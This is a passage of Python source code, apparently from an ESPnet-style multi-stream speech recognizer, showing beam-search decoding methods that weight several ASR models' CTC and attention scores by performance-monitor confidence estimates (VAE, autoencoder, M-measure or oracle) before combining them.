recog_args.pm_type == "mmeasure_addlm": pm_scores_ctc[idx] = torch.exp( recog_args.temperature * self.mmeasure_loss(torch.exp(all_lpz[idx]))) if not oracle_run: if recog_args.pm_type == "mmeasure" or recog_args.pm_type == "mmeasure_addlm": pm_scores_nn = deepcopy(numpy.log(pm_scores_ctc.data.numpy()) / recog_args.temperature) pm_scores_ctc = pm_scores_ctc / torch.sum(pm_scores_ctc) pm_scores = pm_scores_ctc for idx, psc in enumerate(pm_scores_ctc): logging.info("CTC Confidence score for ASR " + str(idx) + " is " + str(psc.detach().numpy())) if oracle_run: pm_scores = pm_scores_ctc for idx, psc in enumerate(pm_scores_ctc): logging.info("Oracle CTC Confidence score for ASR " + str(idx) + " is " + str(psc)) for idx, psc in enumerate(pm_scores_attn): logging.info("Oracle ATTN Confidence score for ASR " + str(idx) + " is " + str(psc)) lpz = 0 * all_lpz[0] for idx, one_lpz in enumerate(all_lpz): if recog_args.general_p: lpz += torch.pow(torch.exp(one_lpz), recog_args.general_p) * pm_scores[idx] elif recog_args.rule == 'product': lpz += one_lpz * pm_scores[idx] elif recog_args.rule == 'sum': lpz += torch.exp(one_lpz) * pm_scores[idx] else: logging.error("rule can only be of types 'sum' or 'product'") if recog_args.general_p: lpz = torch.log(lpz) / recog_args.general_p elif recog_args.rule == "sum": lpz = torch.log(lpz) else: lpz = None h = all_enc_outputs[0].squeeze(0) logging.info("input lengths: " + str(h.size(0))) # search parms beam = recog_args.beam_size penalty = recog_args.penalty ctc_weight = recog_args.ctc_weight # preprare sos y = self.all_models[0].sos vy = h.new_zeros(1).long() if recog_args.maxlenratio == 0: maxlen = h.shape[0] else: # maxlen >= 1 maxlen = max(1, int(recog_args.maxlenratio * h.size(0))) minlen = int(recog_args.minlenratio * h.size(0)) logging.info("max output length: " + str(maxlen)) logging.info("min output length: " + str(minlen)) # initialize hypothesis if rnnlm: hyp = {"score": 0.0, "yseq": [y], "rnnlm_prev": None} else: hyp = {"score": 0.0, "yseq": [y]} if lpz is not None: ctc_prefix_score = CTCPrefixScore(lpz.detach().numpy(), 0, self.all_models[0].eos, numpy) hyp["ctc_state_prev"] = ctc_prefix_score.initial_state() hyp["ctc_score_prev"] = 0.0 if ctc_weight != 1.0: # pre-pruning based on attention scores ctc_beam = min(lpz.shape[-1], int(beam * CTC_SCORING_RATIO)) else: ctc_beam = lpz.shape[-1] hyps = [hyp] ended_hyps = [] import six import numpy as np all_compiled_local_att_scores = [] for i in range(self.stream_num): all_compiled_local_att_scores.append(np.zeros((maxlen, lpz.shape[1]))) traced_decoder = None for i in six.moves.range(maxlen): logging.debug("position " + str(i)) hyps_best_kept = [] best_score = -numpy.infty for hyp in hyps: vy[0] = hyp["yseq"][i] # get nbest local scores and their ids ys_mask = subsequent_mask(i + 1).unsqueeze(0) ys = torch.tensor(hyp["yseq"]).unsqueeze(0) # FIXME: jit does not match non-jit result all_local_att_scores = [] if rnnlm: rnnlm_state, local_lm_scores = rnnlm.predict(hyp["rnnlm_prev"], vy) if use_jit: if traced_decoder is None: traced_decoder = torch.jit.trace( self.all_models[0].decoder.forward_one_step, (ys, ys_mask, all_enc_outputs[0]) ) for enc_output in all_enc_outputs: local_att_scores = traced_decoder(ys, ys_mask, enc_output)[0] all_local_att_scores.append(local_att_scores) else: # Keep only attention values from the best hypothesis if hyp["score"] > best_score: best_score = hyp["score"] update = True else: update = False for idx, enc_output in enumerate(all_enc_outputs): local_att_scores = self.all_models[idx].decoder.forward_one_step( ys, ys_mask, enc_output )[0] if update and not oracle_run: if recog_args.pm_type == "mmeasure_addlm": all_compiled_local_att_scores[idx][i, :] = local_att_scores[0, :].detach().numpy() + recog_args.lm_weight * local_lm_scores[ 0, :].detach().numpy() else: all_compiled_local_att_scores[idx][i, :] = local_att_scores[0, :].detach().numpy() all_local_att_scores.append(local_att_scores) if not oracle_run: if recog_args.pm_type == "mmeasure" or recog_args.pm_type == "mmeasure_addlm": if i >= 10: pm_scores_attn[idx] = torch.exp(recog_args.temperature * self.mmeasure_loss( torch.exp(torch.from_numpy(all_compiled_local_att_scores[idx][0:i - 1, :])))) else: pm_scores_attn = pm_scores_ctc if oracle_run: pm_scores = pm_scores_attn elif recog_args.pm_type == "mmeasure" or recog_args.pm_type == "mmeasure_addlm": pm_scores_nn = deepcopy(numpy.log(pm_scores_attn.data.numpy()) / recog_args.temperature) pm_scores_attn = pm_scores_attn / torch.sum(pm_scores_attn) pm_scores = pm_scores_attn log = "Prediction" + str(i) + "-> ATTN Confidence score for " for idx, psc in enumerate(pm_scores_attn): log = log + " ASR " + str(idx) + ": " + str(psc.detach().numpy()) logging.info(log) local_att_scores = 0 * all_local_att_scores[0] for idx, one_attn_score in enumerate(all_local_att_scores): if recog_args.general_p: local_att_scores += torch.pow(torch.exp(one_attn_score), recog_args.general_p) * pm_scores[ idx] elif recog_args.rule == 'product': local_att_scores += one_attn_score * pm_scores[idx] elif recog_args.rule == 'sum': local_att_scores += torch.exp(one_attn_score) * pm_scores[idx] else: logging.error("rule can only be of types 'sum' or 'product'") if recog_args.general_p: local_att_scores = torch.log(local_att_scores) / recog_args.general_p elif recog_args.rule == "sum": local_att_scores = torch.log(local_att_scores) if rnnlm: local_scores = ( local_att_scores + recog_args.lm_weight * local_lm_scores ) else: local_scores = local_att_scores if lpz is not None: local_best_scores, local_best_ids = torch.topk( local_att_scores, ctc_beam, dim=1 ) ctc_scores, ctc_states = ctc_prefix_score( hyp["yseq"], local_best_ids[0], hyp["ctc_state_prev"] ) local_scores = (1.0 - ctc_weight) * local_att_scores[ :, local_best_ids[0] ] + ctc_weight * torch.from_numpy( ctc_scores - hyp["ctc_score_prev"] ) if rnnlm: local_scores += ( recog_args.lm_weight * local_lm_scores[:, local_best_ids[0]] ) local_best_scores, joint_best_ids = torch.topk( local_scores, beam, dim=1 ) local_best_ids = local_best_ids[:, joint_best_ids[0]] else: local_best_scores, local_best_ids = torch.topk( local_scores, beam, dim=1 ) for j in six.moves.range(beam): new_hyp = {} new_hyp["score"] = hyp["score"] + float(local_best_scores[0, j]) new_hyp["yseq"] = [0] * (1 + len(hyp["yseq"])) new_hyp["yseq"][: len(hyp["yseq"])] = hyp["yseq"] new_hyp["yseq"][len(hyp["yseq"])] = int(local_best_ids[0, j]) if rnnlm: new_hyp["rnnlm_prev"] = rnnlm_state if lpz is not None: new_hyp["ctc_state_prev"] = ctc_states[joint_best_ids[0, j]] new_hyp["ctc_score_prev"] = ctc_scores[joint_best_ids[0, j]] # will be (2 x beam) hyps at most hyps_best_kept.append(new_hyp) hyps_best_kept = sorted( hyps_best_kept, key=lambda x: x["score"], reverse=True )[:beam] # sort and get nbest hyps = hyps_best_kept logging.debug("number of pruned hypothes: " + str(len(hyps))) if char_list is not None: logging.debug( "best hypo: " + "".join([char_list[int(x)] for x in hyps[0]["yseq"][1:]]) ) # add eos in the final loop to avoid that there are no ended hyps if i == maxlen - 1: logging.info("adding <eos> in the last postion in the loop") for hyp in hyps: hyp["yseq"].append(self.all_models[0].eos) # add ended hypothes to a final list, and removed them from current hypothes # (this will be a probmlem, number of hyps < beam) remained_hyps = [] for hyp in hyps: if hyp["yseq"][-1] == self.all_models[0].eos: # only store the sequence that has more than minlen outputs # also add penalty if len(hyp["yseq"]) > minlen: hyp["score"] += (i + 1) * penalty if rnnlm: # Word LM needs to add final <eos> score hyp["score"] += recog_args.lm_weight * rnnlm.final( hyp["rnnlm_prev"] ) ended_hyps.append(hyp) else: remained_hyps.append(hyp) # end detection if end_detect(ended_hyps, i) and recog_args.maxlenratio == 0.0: logging.info("end detected at %d", i) break hyps = remained_hyps if len(hyps) > 0: logging.debug("remeined hypothes: " + str(len(hyps))) else: logging.info("no hypothesis. Finish decoding.") break if char_list is not None: for hyp in hyps: logging.debug( "hypo: " + "".join([char_list[int(x)] for x in hyp["yseq"][1:]]) ) logging.debug("number of ended hypothes: " + str(len(ended_hyps))) nbest_hyps = sorted(ended_hyps, key=lambda x: x["score"], reverse=True)[ : min(len(ended_hyps), recog_args.nbest) ] # check number of hypotheis if len(nbest_hyps) == 0: logging.warning( "there is no N-best results, perform recognition " "again with smaller minlenratio." ) # should copy becasuse Namespace will be overwritten globally recog_args = Namespace(**vars(recog_args)) recog_args.minlenratio = max(0.0, recog_args.minlenratio - 0.1) return self.recognize(x, recog_args, char_list, rnnlm) logging.info("total log probability: " + str(nbest_hyps[0]["score"])) logging.info( "normalized log probability: " + str(nbest_hyps[0]["score"] / len(nbest_hyps[0]["yseq"])) ) for idx, x in enumerate(all_lpz): all_lpz[idx] = all_lpz[idx].detach().numpy() # Update the temperature if recog_args.update_temp: recog_args.temperature = self.update_temp(recog_args.temperature, pm_scores_nn, all_llhoods, all_compiled_local_att_scores, lr=10) comp = {} comp["lpz"] = all_lpz comp["attn"] = all_compiled_local_att_scores return recog_args.temperature, pm_scores_nn, comp, nbest_hyps def recognize(self, x, recog_args, char_list=None, rnnlm=None, use_jit=False): """Recognize input speech. :param ndnarray x: input acoustic feature (B, T, D) or (T, D) :param Namespace recog_args: argment Namespace contraining options :param list char_list: list of characters :param torch.nn.Module rnnlm: language model module :return: N-best decoding results :rtype: list """ logging.info("Using score type {:s}".format(recog_args.score_type)) logging.info("Using temperature {:f}".format(recog_args.temperature)) if recog_args.general_p: logging.info( "Using generalized mean classifier combination with parameter p={:f}".format(recog_args.general_p)) else: logging.info("Using {:s} rule of classifier combination".format(recog_args.rule)) all_enc_outputs = [] for model in self.all_models: all_enc_outputs.append(model.encode(x).unsqueeze(0)) # if recog_args.dump_llhoods: all_llhoods = [] # Get performance monitor Scores if recog_args.oracle_wts: oracle_run = True else: oracle_run = False if oracle_run: pm_scores_ctc = self.all_pms['lpz'] pm_scores_attn = self.all_pms['attn'] pm_scores_nn = pm_scores_attn else: if recog_args.pm_type == "vae" or recog_args.pm_type == "ae": pm_scores = torch.zeros(self.stream_num) for idx, pm_model in enumerate(self.all_pms): ae_out, latent_out = pm_model(torch.as_tensor(x).unsqueeze(0), torch.IntTensor([x.shape[0]])) if recog_args.pm_type == "vae": pm_scores[idx], llhood = self.vae_loss(torch.as_tensor(x).unsqueeze(0), ae_out, latent_out, out_dist='laplace', temp=recog_args.temperature, type=recog_args.score_type, chop=recog_args.chop) elif recog_args.pm_type == "ae": pm_scores[idx] = -self.ae_loss(torch.as_tensor(x).unsqueeze(0), ae_out, out_dist='laplace') # if recog_args.dump_llhoods: all_llhoods.append(llhood) elif recog_args.pm_type == "weighted": pm_scores = torch.as_tensor(self.all_pms) elif recog_args.pm_type == "mmeasure" or recog_args.pm_type == "mmeasure_addlm": pm_scores_ctc = torch.zeros(self.stream_num) pm_scores_attn = torch.zeros(self.stream_num) if oracle_run: logging.info("Using oracle performance monitor") else: if recog_args.pm_type == "mmeasure" or recog_args.pm_type == "mmeasure_addlm": logging.info("Using {:s} performance monitor".format(recog_args.pm_type)) else: pm_scores_nn = deepcopy(pm_scores.data.numpy()) pm_scores = pm_scores / torch.sum(pm_scores) for idx, psc in enumerate(pm_scores): logging.info("Confidence score for ASR " + str(idx) + " is " + str(psc.detach().numpy())) if self.all_models[0].mtlalpha == 1.0: # Assuming all models are pure CTC recog_args.ctc_weight = 1.0 logging.info("Set to pure CTC decoding mode.") if self.all_models[0].mtlalpha > 0 and recog_args.ctc_weight == 1.0: from itertools import groupby all_lpz = [] for idx, model in enumerate(self.all_models): all_lpz.append(model.ctc.softmax(all_enc_outputs[idx])) lpz = 0 * all_lpz[0] for idx, pm_model in enumerate(self.all_pms): lpz += pm_scores[idx] * all_lpz[idx] lpz = torch.argmax(lpz, dim=2) collapsed_indices = [x[0] for x in groupby(lpz[0])] hyp = [x for x in filter(lambda x: x != self.blank, collapsed_indices)] nbest_hyps = [{"score": 0.0, "yseq": [self.sos] + hyp}] if recog_args.beam_size > 1: raise NotImplementedError("Pure CTC beam search is not implemented.") # TODO(hirofumi0810): Implement beam search return nbest_hyps elif self.all_models[0].mtlalpha > 0 and recog_args.ctc_weight > 0.0: all_lpz = [] for idx, model in enumerate(self.all_models): all_lpz.append(model.ctc.log_softmax(all_enc_outputs[idx]).squeeze(0)) if not oracle_run: if recog_args.pm_type == "mmeasure" or recog_args.pm_type == "mmeasure_addlm": pm_scores_ctc[idx] = torch.exp( recog_args.temperature * self.mmeasure_loss(torch.exp(all_lpz[idx]))) if not oracle_run: if recog_args.pm_type == "mmeasure" or recog_args.pm_type == "mmeasure_addlm": pm_scores_nn = deepcopy(numpy.log(pm_scores_ctc.data.numpy()) / recog_args.temperature) pm_scores_ctc = pm_scores_ctc / torch.sum(pm_scores_ctc) pm_scores = pm_scores_ctc for idx, psc in enumerate(pm_scores_ctc): logging.info("CTC Confidence score for ASR " + str(idx) + " is " + str(psc.detach().numpy())) if oracle_run: pm_scores = pm_scores_ctc for idx, psc in enumerate(pm_scores_ctc): logging.info("Oracle CTC Confidence score for ASR " + str(idx) + " is " + str(psc)) for idx, psc in enumerate(pm_scores_attn): logging.info("Oracle ATTN Confidence score for ASR " + str(idx) + " is " + str(psc)) lpz = 0 * all_lpz[0] for idx, one_lpz in enumerate(all_lpz): if recog_args.general_p: lpz += torch.pow(torch.exp(one_lpz), recog_args.general_p) * pm_scores[idx] elif recog_args.rule == 'product': lpz += one_lpz * pm_scores[idx] elif recog_args.rule == 'sum': lpz += torch.exp(one_lpz) * pm_scores[idx] else: logging.error("rule can only be of types 'sum' or 'product'") if recog_args.general_p: lpz = torch.log(lpz) / recog_args.general_p elif recog_args.rule == "sum": lpz = torch.log(lpz) else: lpz = None h = all_enc_outputs[0].squeeze(0) logging.info("input lengths: " + str(h.size(0))) # search parms beam = recog_args.beam_size penalty = recog_args.penalty ctc_weight = recog_args.ctc_weight # preprare sos y = self.all_models[0].sos vy = h.new_zeros(1).long() if recog_args.maxlenratio == 0: maxlen = h.shape[0] else: # maxlen >= 1 maxlen = max(1, int(recog_args.maxlenratio * h.size(0))) minlen = int(recog_args.minlenratio * h.size(0)) logging.info("max output length: " + str(maxlen)) logging.info("min output length: " + str(minlen)) # initialize hypothesis if rnnlm: hyp = {"score": 0.0, "yseq": [y], "rnnlm_prev": None} else: hyp = {"score": 0.0, "yseq": [y]} if lpz is not None: ctc_prefix_score = CTCPrefixScore(lpz.detach().numpy(), 0, self.all_models[0].eos, numpy) hyp["ctc_state_prev"] = ctc_prefix_score.initial_state() hyp["ctc_score_prev"] = 0.0 if ctc_weight != 1.0: # pre-pruning based on attention scores ctc_beam = min(lpz.shape[-1], int(beam * CTC_SCORING_RATIO)) else: ctc_beam = lpz.shape[-1] hyps = [hyp] ended_hyps = [] import six import numpy as np all_compiled_local_att_scores = [] for i in range(self.stream_num): all_compiled_local_att_scores.append(np.zeros((maxlen, lpz.shape[1]))) traced_decoder = None for i in six.moves.range(maxlen): logging.debug("position " + str(i)) hyps_best_kept = [] best_score = -numpy.infty for hyp in hyps: vy[0] = hyp["yseq"][i] # get nbest local scores and their ids ys_mask = subsequent_mask(i + 1).unsqueeze(0) ys = torch.tensor(hyp["yseq"]).unsqueeze(0) # FIXME: jit does not match non-jit result all_local_att_scores = [] if rnnlm: rnnlm_state, local_lm_scores = rnnlm.predict(hyp["rnnlm_prev"], vy) if use_jit: if traced_decoder is None: traced_decoder = torch.jit.trace( self.all_models[0].decoder.forward_one_step, (ys, ys_mask, all_enc_outputs[0]) ) for enc_output in all_enc_outputs: local_att_scores = traced_decoder(ys, ys_mask, enc_output)[0] all_local_att_scores.append(local_att_scores) else: # Keep only attention values from the best hypothesis if hyp["score"] > best_score: best_score = hyp["score"] update = True else: update = False for idx, enc_output in enumerate(all_enc_outputs): local_att_scores = self.all_models[idx].decoder.forward_one_step( ys, ys_mask, enc_output )[0] if update and not oracle_run: if recog_args.pm_type == "mmeasure_addlm": all_compiled_local_att_scores[idx][i, :] = local_att_scores[0, :].detach().numpy() + recog_args.lm_weight * local_lm_scores[ 0, :].detach().numpy() else: all_compiled_local_att_scores[idx][i, :] = local_att_scores[0, :].detach().numpy() all_local_att_scores.append(local_att_scores) if not oracle_run: if recog_args.pm_type == "mmeasure" or recog_args.pm_type == "mmeasure_addlm": if i >= 10: pm_scores_attn[idx] = torch.exp(recog_args.temperature * self.mmeasure_loss( torch.exp(torch.from_numpy(all_compiled_local_att_scores[idx][0:i - 1, :])))) else: pm_scores_attn = pm_scores_ctc if oracle_run: pm_scores = pm_scores_attn elif recog_args.pm_type == "mmeasure" or recog_args.pm_type == "mmeasure_addlm": pm_scores_nn = deepcopy(numpy.log(pm_scores_attn.data.numpy()) / recog_args.temperature) pm_scores_attn = pm_scores_attn / torch.sum(pm_scores_attn) pm_scores = pm_scores_attn log = "Prediction" + str(i) + "-> ATTN Confidence score for " for idx, psc in enumerate(pm_scores_attn): log = log + " ASR " + str(idx) + ": " + str(psc.detach().numpy()) logging.info(log) local_att_scores = 0 * all_local_att_scores[0] for idx, one_attn_score in enumerate(all_local_att_scores): if recog_args.general_p: local_att_scores += torch.pow(torch.exp(one_attn_score), recog_args.general_p) * pm_scores[ idx] elif recog_args.rule == 'product': local_att_scores += one_attn_score * pm_scores[idx] elif recog_args.rule == 'sum': local_att_scores += torch.exp(one_attn_score) * pm_scores[idx] else: logging.error("rule can only be of types 'sum' or 'product'") if recog_args.general_p: local_att_scores = torch.log(local_att_scores) / recog_args.general_p elif recog_args.rule == "sum": local_att_scores = torch.log(local_att_scores) if rnnlm: local_scores = ( local_att_scores + recog_args.lm_weight * local_lm_scores ) else: local_scores = local_att_scores if lpz is not None: local_best_scores, local_best_ids = torch.topk( local_att_scores, ctc_beam, dim=1 ) ctc_scores, ctc_states = ctc_prefix_score( hyp["yseq"], local_best_ids[0], hyp["ctc_state_prev"] ) local_scores = (1.0 - ctc_weight) * local_att_scores[ :, local_best_ids[0] ] + ctc_weight * torch.from_numpy( ctc_scores - hyp["ctc_score_prev"] ) if rnnlm: local_scores += ( recog_args.lm_weight * local_lm_scores[:, local_best_ids[0]] ) local_best_scores, joint_best_ids = torch.topk( local_scores, beam, dim=1 ) local_best_ids = local_best_ids[:, joint_best_ids[0]] else: local_best_scores, local_best_ids = torch.topk( local_scores, beam, dim=1 ) for j in six.moves.range(beam): new_hyp = {} new_hyp["score"] = hyp["score"] + float(local_best_scores[0, j]) new_hyp["yseq"] = [0] * (1 + len(hyp["yseq"])) new_hyp["yseq"][: len(hyp["yseq"])] = hyp["yseq"] new_hyp["yseq"][len(hyp["yseq"])] = int(local_best_ids[0, j]) if rnnlm: new_hyp["rnnlm_prev"] = rnnlm_state if lpz is not None: new_hyp["ctc_state_prev"] = ctc_states[joint_best_ids[0, j]] new_hyp["ctc_score_prev"] = ctc_scores[joint_best_ids[0, j]] # will be (2 x beam) hyps at most hyps_best_kept.append(new_hyp) hyps_best_kept = sorted( hyps_best_kept, key=lambda x: x["score"], reverse=True )[:beam] # sort and get nbest hyps = hyps_best_kept logging.debug("number of pruned hypothes: " + str(len(hyps))) if char_list is not None: logging.debug( "best hypo: " + "".join([char_list[int(x)] for x in hyps[0]["yseq"][1:]]) ) # add eos in the final loop to avoid that there are no ended hyps if i == maxlen - 1: logging.info("adding <eos> in the last postion in the loop") for hyp in hyps: hyp["yseq"].append(self.all_models[0].eos) # add ended hypothes to a final list, and removed them from current hypothes # (this will be a probmlem, number of hyps < beam) remained_hyps = [] for hyp in hyps: if hyp["yseq"][-1] == self.all_models[0].eos: # only store the sequence that has more than minlen outputs # also add penalty if len(hyp["yseq"]) > minlen: hyp["score"] += (i + 1) * penalty if rnnlm: # Word LM needs to add final <eos> score hyp["score"] += recog_args.lm_weight * rnnlm.final( hyp["rnnlm_prev"] ) ended_hyps.append(hyp) else: remained_hyps.append(hyp) # end detection if end_detect(ended_hyps, i) and recog_args.maxlenratio == 0.0: logging.info("end detected at %d", i) break hyps = remained_hyps if len(hyps) > 0: logging.debug("remeined hypothes: " + str(len(hyps))) else: logging.info("no hypothesis. Finish decoding.") break if char_list is not None: for hyp in hyps: logging.debug( "hypo: " + "".join([char_list[int(x)] for x in hyp["yseq"][1:]]) ) logging.debug("number of ended hypothes: " + str(len(ended_hyps))) nbest_hyps = sorted(ended_hyps, key=lambda x: x["score"], reverse=True)[ : min(len(ended_hyps), recog_args.nbest) ] # check number of hypotheis if len(nbest_hyps) == 0: logging.warning( "there is no N-best results, perform recognition " "again with smaller minlenratio." ) # should copy becasuse Namespace will be overwritten globally recog_args = Namespace(**vars(recog_args)) recog_args.minlenratio = max(0.0, recog_args.minlenratio - 0.1) return self.recognize(x, recog_args, char_list, rnnlm) logging.info("total log probability: " + str(nbest_hyps[0]["score"])) logging.info( "normalized log probability: " + str(nbest_hyps[0]["score"] / len(nbest_hyps[0]["yseq"])) ) for idx, x in enumerate(all_lpz): all_lpz[idx] = all_lpz[idx].detach().numpy() # Update the temperature if recog_args.update_temp: recog_args.temperature = self.update_temp(recog_args.temperature, pm_scores_nn, all_llhoods, all_compiled_local_att_scores, lr=10) comp = {} comp["lpz"] = all_lpz comp["attn"] = all_compiled_local_att_scores return recog_args.temperature, pm_scores_nn, comp, nbest_hyps def recognize_joint(self, x, recog_args, char_list=None, rnnlm=None, use_jit=False): """Recognize input speech with joint PM. :param ndnarray x: input acoustic feature (B, T, D) or (T, D) :param Namespace recog_args: argment Namespace contraining options :param list char_list: list of characters :param torch.nn.Module rnnlm: language model module :return: N-best decoding results :rtype: list """ logging.info("Using score type {:s}".format(recog_args.score_type)) logging.info("Using temperature {:f}".format(recog_args.temperature)) if recog_args.general_p: logging.info( "Using generalized mean classifier combination with parameter p={:f}".format(recog_args.general_p)) else: logging.info("Using {:s} rule of classifier combination".format(recog_args.rule)) all_enc_outputs = [] for model in self.all_models: all_enc_outputs.append(model.encode(x).unsqueeze(0)) all_llhoods = [] # Get performance monitor Scores pm_scores = torch.zeros(self.stream_num) if recog_args.pm_type == "joint_vae": pm_scores_inp = torch.zeros(self.stream_num) pm_scores_enc = torch.zeros(self.stream_num) # External Model for idx, pm_model in enumerate(self.all_pms): ae_out, latent_out = pm_model(torch.as_tensor(x).unsqueeze(0), torch.IntTensor([x.shape[0]])) pm_scores_inp[idx], llhood = self.vae_loss(torch.as_tensor(x).unsqueeze(0), ae_out, latent_out, out_dist='laplace', temp=recog_args.temperature, type=recog_args.score_type, chop=recog_args.chop) all_llhoods.append(llhood) # Internal Model for idx, pm_model in enumerate(self.all_enc_pms): enc_out_after_cmvn = self.apply_cmvn(all_enc_outputs[idx], self.all_enc_cmvn[idx][0], self.all_enc_cmvn[idx][1]) ae_out, latent_out = pm_model(enc_out_after_cmvn, torch.IntTensor([enc_out_after_cmvn.shape[1]])) pm_scores_enc[idx], llhood = self.vae_loss(enc_out_after_cmvn, ae_out, latent_out, out_dist='laplace', temp=recog_args.temperature, type=recog_args.score_type, chop=recog_args.chop) # Combine scores for idx, x in enumerate(pm_scores_inp): pm_scores[idx] = torch.exp(torch.log(pm_scores_enc[idx]) + torch.log(pm_scores_inp[idx])) pm_scores_nn = deepcopy(pm_scores.data.numpy()) pm_scores_nn_inp = deepcopy(pm_scores_inp.data.numpy()) pm_scores_nn_enc = deepcopy(pm_scores_enc.data.numpy()) pm_scores = pm_scores / torch.sum(pm_scores) for idx, psc in enumerate(pm_scores): temp_inp = (pm_scores_inp / torch.sum(pm_scores_inp)).detach().numpy() temp_enc = (pm_scores_enc / torch.sum(pm_scores_enc)).detach().numpy() logging.info("Confidence score for ASR {:d} (final/input/encoder) = {:f}/{:f}/{:f}".format(idx, psc.detach().numpy(), temp_inp[ idx], temp_enc[ idx])) elif recog_args.pm_type == "enc_vae": # Internal Model only for idx, pm_model in enumerate(self.all_enc_pms): enc_out_after_cmvn = self.apply_cmvn(all_enc_outputs[idx], self.all_enc_cmvn[idx][0], self.all_enc_cmvn[idx][1]) ae_out, latent_out = pm_model(enc_out_after_cmvn, torch.IntTensor([enc_out_after_cmvn.shape[1]])) pm_scores[idx], llhood = self.vae_loss(enc_out_after_cmvn, ae_out, latent_out, out_dist='laplace', temp=recog_args.temperature, type=recog_args.score_type, chop=recog_args.chop) pm_scores_nn = deepcopy(pm_scores.data.numpy()) pm_scores = pm_scores / torch.sum(pm_scores) for idx, psc in enumerate(pm_scores): logging.info("Confidence score for ASR (final) " + str(idx) + " is " + str(psc.detach().numpy())) elif recog_args.pm_type == "true_joint_vae": # Combined Model for idx, pm_model in enumerate(self.all_pms): enc_out_after_cmvn = self.apply_cmvn(all_enc_outputs[idx], self.all_enc_cmvn[idx][0], self.all_enc_cmvn[idx][1]) print(torch.as_tensor(x).unsqueeze(0).shape) print(enc_out_after_cmvn.shape) sys.stdout.flush() combined_inp_enc = torch.cat([torch.as_tensor(x).unsqueeze(0), enc_out_after_cmvn], dim=2) ae_out, latent_out = pm_model(combined_inp_enc, torch.IntTensor([combined_inp_enc.shape[1]])) pm_scores[idx], llhood = self.vae_loss(combined_inp_enc, ae_out, latent_out, out_dist='laplace', temp=recog_args.temperature, type=recog_args.score_type, chop=recog_args.chop) pm_scores_nn = deepcopy(pm_scores.data.numpy()) pm_scores = pm_scores / torch.sum(pm_scores) for idx, psc in enumerate(pm_scores): logging.info("Confidence score for ASR {:d} = {:f}".format(idx, psc.detach().numpy())) if self.all_models[0].mtlalpha == 1.0: # Assuming all models are pure CTC recog_args.ctc_weight = 1.0 logging.info("Set to pure CTC decoding mode.") if self.all_models[0].mtlalpha > 0 and recog_args.ctc_weight == 1.0: from itertools import groupby all_lpz = [] for idx, model in enumerate(self.all_models): all_lpz.append(model.ctc.softmax(all_enc_outputs[idx])) lpz = 0 * all_lpz[0] for idx, pm_model in enumerate(self.all_pms): lpz += pm_scores[idx] * all_lpz[idx] lpz = torch.argmax(lpz, dim=2) collapsed_indices = [x[0] for x in groupby(lpz[0])] hyp = [x for x in filter(lambda x: x != self.blank, collapsed_indices)] nbest_hyps = [{"score": 0.0, "yseq": [self.sos] + hyp}] if recog_args.beam_size > 1: raise NotImplementedError("Pure CTC beam search is not implemented.") # TODO(hirofumi0810): Implement beam search return nbest_hyps elif self.all_models[0].mtlalpha > 0 and recog_args.ctc_weight > 0.0: all_lpz = [] for idx, model in enumerate(self.all_models): all_lpz.append(model.ctc.log_softmax(all_enc_outputs[idx]).squeeze(0)) lpz = 0 * all_lpz[0] for idx, one_lpz in enumerate(all_lpz): if recog_args.general_p: lpz += torch.pow(torch.exp(one_lpz), recog_args.general_p) * pm_scores[idx] elif recog_args.rule == 'product': lpz += one_lpz * pm_scores[idx] elif recog_args.rule == 'sum': lpz += torch.exp(one_lpz) * pm_scores[idx] else: logging.error("rule can only be of types 'sum' or 'product'") if recog_args.general_p: lpz = torch.log(lpz) / recog_args.general_p elif recog_args.rule == "sum": lpz = torch.log(lpz) else: lpz = None h = all_enc_outputs[0].squeeze(0) logging.info("input lengths: " + str(h.size(0))) # search parms beam = recog_args.beam_size penalty = recog_args.penalty ctc_weight = recog_args.ctc_weight # preprare sos y = self.all_models[0].sos vy = h.new_zeros(1).long() if recog_args.maxlenratio == 0: maxlen = h.shape[0] else: # maxlen >= 1 maxlen = max(1, int(recog_args.maxlenratio * h.size(0))) minlen = int(recog_args.minlenratio * h.size(0)) logging.info("max output length: " + str(maxlen)) logging.info("min output length: " + str(minlen)) # initialize hypothesis if rnnlm: hyp = {"score": 0.0, "yseq": [y], "rnnlm_prev": None} else: hyp = {"score": 0.0, "yseq": [y]} if lpz is not None: ctc_prefix_score = CTCPrefixScore(lpz.detach().numpy(), 0, self.all_models[0].eos, numpy) hyp["ctc_state_prev"] = ctc_prefix_score.initial_state() hyp["ctc_score_prev"] = 0.0 if ctc_weight != 1.0: # pre-pruning based on attention scores ctc_beam = min(lpz.shape[-1], int(beam * CTC_SCORING_RATIO)) else: ctc_beam = lpz.shape[-1] hyps = [hyp] ended_hyps = [] import six import numpy as np all_compiled_local_att_scores = [] for i in range(self.stream_num): all_compiled_local_att_scores.append(np.zeros((maxlen, lpz.shape[1]))) traced_decoder = None for i in six.moves.range(maxlen): logging.debug("position " + str(i)) hyps_best_kept = [] best_score = -numpy.infty for hyp in hyps: vy[0] = hyp["yseq"][i] # get nbest local scores and their ids ys_mask = subsequent_mask(i + 1).unsqueeze(0) ys = torch.tensor(hyp["yseq"]).unsqueeze(0) # FIXME: jit does not match non-jit result all_local_att_scores = [] if rnnlm: rnnlm_state, local_lm_scores = rnnlm.predict(hyp["rnnlm_prev"], vy) if use_jit: if traced_decoder is None: traced_decoder = torch.jit.trace( self.all_models[0].decoder.forward_one_step, (ys, ys_mask, all_enc_outputs[0]) ) for enc_output in all_enc_outputs: local_att_scores = traced_decoder(ys, ys_mask, enc_output)[0] all_local_att_scores.append(local_att_scores) else: # Keep only attention values from the best hypothesis if hyp["score"] > best_score: best_score = hyp["score"] update = True else: update = False for idx, enc_output in enumerate(all_enc_outputs): local_att_scores = self.all_models[idx].decoder.forward_one_step( ys, ys_mask, enc_output )[0] if update: all_compiled_local_att_scores[idx][i, :] = local_att_scores[0, :].detach().numpy() all_local_att_scores.append(local_att_scores) local_att_scores = 0 * all_local_att_scores[0] for idx, one_attn_score in enumerate(all_local_att_scores): if recog_args.general_p: local_att_scores += torch.pow(torch.exp(one_attn_score), recog_args.general_p) * pm_scores[ idx] elif recog_args.rule == 'product': local_att_scores += one_attn_score * pm_scores[idx] elif recog_args.rule == 'sum': local_att_scores += torch.exp(one_attn_score) * pm_scores[idx] else: logging.error("rule can only be of types 'sum' or 'product'") if recog_args.general_p: local_att_scores = torch.log(local_att_scores) / recog_args.general_p elif recog_args.rule == "sum": local_att_scores = torch.log(local_att_scores) if rnnlm: local_scores = ( local_att_scores + recog_args.lm_weight * local_lm_scores ) else: local_scores = local_att_scores if lpz is not None: local_best_scores, local_best_ids = torch.topk( 